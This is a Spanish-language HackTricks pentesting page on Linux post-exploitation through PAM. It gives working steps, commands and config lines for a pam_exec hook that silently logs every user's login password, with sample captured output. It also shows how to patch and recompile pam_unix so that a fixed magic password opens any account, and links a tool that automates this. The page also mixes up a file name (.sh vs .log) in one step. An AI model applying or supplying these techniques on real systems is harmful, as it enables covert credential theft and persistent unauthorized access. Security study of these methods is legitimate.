mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 13:13:41 +00:00
124 lines
6.9 KiB
Markdown
124 lines
6.9 KiB
Markdown
|
# Post-Explotación de Linux
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
|
||
|
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||
|
|
||
|
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
|
||
|
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||
|
|
||
|
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
|
|
||
|
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||
|
|
||
|
</details>
|
||
|
|
||
|
## Sniffing de contraseñas de inicio de sesión con PAM
|
||
|
|
||
|
Vamos a configurar un módulo PAM para registrar cada contraseña que cada usuario utiliza para iniciar sesión. Si no sabes qué es PAM, consulta:
|
||
|
|
||
|
{% content-ref url="pam-pluggable-authentication-modules.md" %}
|
||
|
[pam-pluggable-authentication-modules.md](pam-pluggable-authentication-modules.md)
|
||
|
{% endcontent-ref %}
|
||
|
|
||
|
Primero, creamos un script de bash que se invocará cada vez que se produzca una nueva autenticación.
|
||
|
```bash
|
||
|
#!/bin/sh
|
||
|
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
|
||
|
```
|
||
|
Las variables son específicas de PAM y estarán disponibles a través del módulo `pam_exec.so`.
|
||
|
|
||
|
Aquí está el significado de las variables:
|
||
|
|
||
|
* **$PAM\_USER:** El nombre de usuario que se ingresó.
|
||
|
* **$PAM\_RHOST:** El host remoto (típicamente la dirección IP)
|
||
|
* **$(cat -):** Esto lee `stdin`, y contendrá la contraseña que el script obtiene
|
||
|
* Los resultados se envían a un archivo de registro en `/var/log/toomanysecrets.log`
|
||
|
|
||
|
Para **evitar que todos los usuarios lean** el archivo, considere pre-crear el archivo y ejecutar `chmod`, por ejemplo:
|
||
|
```bash
|
||
|
sudo touch /var/log/toomanysecrets.sh
|
||
|
sudo chmod 770 /var/log/toomanysecrets.sh
|
||
|
```
|
||
|
A continuación, se debe actualizar el archivo de configuración de PAM para que el módulo `pam_exec` invoque el script.
|
||
|
|
||
|
Existen varios archivos de configuración ubicados en `/etc/pam.d/`, y elegimos `common-auth`.
|
||
|
```
|
||
|
sudo nano /etc/pam.d/common-auth
|
||
|
```
|
||
|
En la parte inferior del archivo, agregue el siguiente módulo de autenticación:
|
||
|
|
||
|
`auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh`
|
||
|
|
||
|
Los opciones tienen el siguiente significado:
|
||
|
|
||
|
* **optional:** La autenticación no debe fallar si hay un error (no es un paso obligatorio)
|
||
|
* **pam\_exec.so:** Este es el módulo PAM que puede invocar scripts arbitrarios
|
||
|
* **expose\_authtok:** Este es el truco que permite leer la contraseña a través de `stdin`
|
||
|
* **quiet:** No mostrar errores al usuario (si algo no funciona)
|
||
|
* El último argumento es el script de shell que se creó anteriormente
|
||
|
|
||
|
![](<../../.gitbook/assets/image (375).png>)
|
||
|
|
||
|
Finalmente, haga que el archivo sea ejecutable:
|
||
|
|
||
|
`sudo chmod 700 /usr/local/bin/toomanysecrets.sh`
|
||
|
|
||
|
Ahora, probemos esto y ssh desde otra máquina o inicie sesión localmente.
|
||
|
|
||
|
Y luego mire el archivo de registro:
|
||
|
```
|
||
|
$ sudo cat /var/log/toomanysecrets.log
|
||
|
Sun Jun 26 23:36:37 PDT 2022 tom, Trustno1!, From: 192.168.1.149
|
||
|
Sun Jun 26 23:37:53 PDT 2022 tom, Trustno1!, From:
|
||
|
Sun Jun 26 23:39:12 PDT 2022 tom, Trustno1!, From: 192.168.1.149
|
||
|
```
|
||
|
### Backdooring PAM
|
||
|
|
||
|
Vamos a las fuentes de PAM (depende de tu distribución, toma el mismo número de versión que la tuya...) y busca alrededor de las líneas 170/180 en el archivo pam\_unix\_auth.c:
|
||
|
```
|
||
|
vi modules/pam_unix/pam_unix_auth.c
|
||
|
```
|
||
|
![](<../../.gitbook/assets/image (651).png>)
|
||
|
|
||
|
Cambiemos esto por:
|
||
|
|
||
|
![](<../../.gitbook/assets/image (638) (2) (2).png>)
|
||
|
|
||
|
Esto permitirá que cualquier usuario que use la **contraseña "0xMitsurugi"** pueda iniciar sesión.
|
||
|
|
||
|
Recompila el archivo `pam_unix_auth.c` y reemplaza el archivo pam\_unix.so:
|
||
|
```bash
|
||
|
make
|
||
|
sudo cp \
|
||
|
/home/mitsurugi/PAM/pam_deb/pam-1.1.8/modules/pam_unix/.libs/pam_unix.so \
|
||
|
/lib/x86_64-linux-gnu/security/
|
||
|
```
|
||
|
{% hint style="info" %}
|
||
|
Puedes automatizar este proceso con [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)
|
||
|
{% endhint %}
|
||
|
|
||
|
## Referencias
|
||
|
|
||
|
* [https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)
|
||
|
* [https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
|
||
|
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||
|
|
||
|
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
|
||
|
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||
|
|
||
|
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
|
|
||
|
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||
|
|
||
|
</details>
|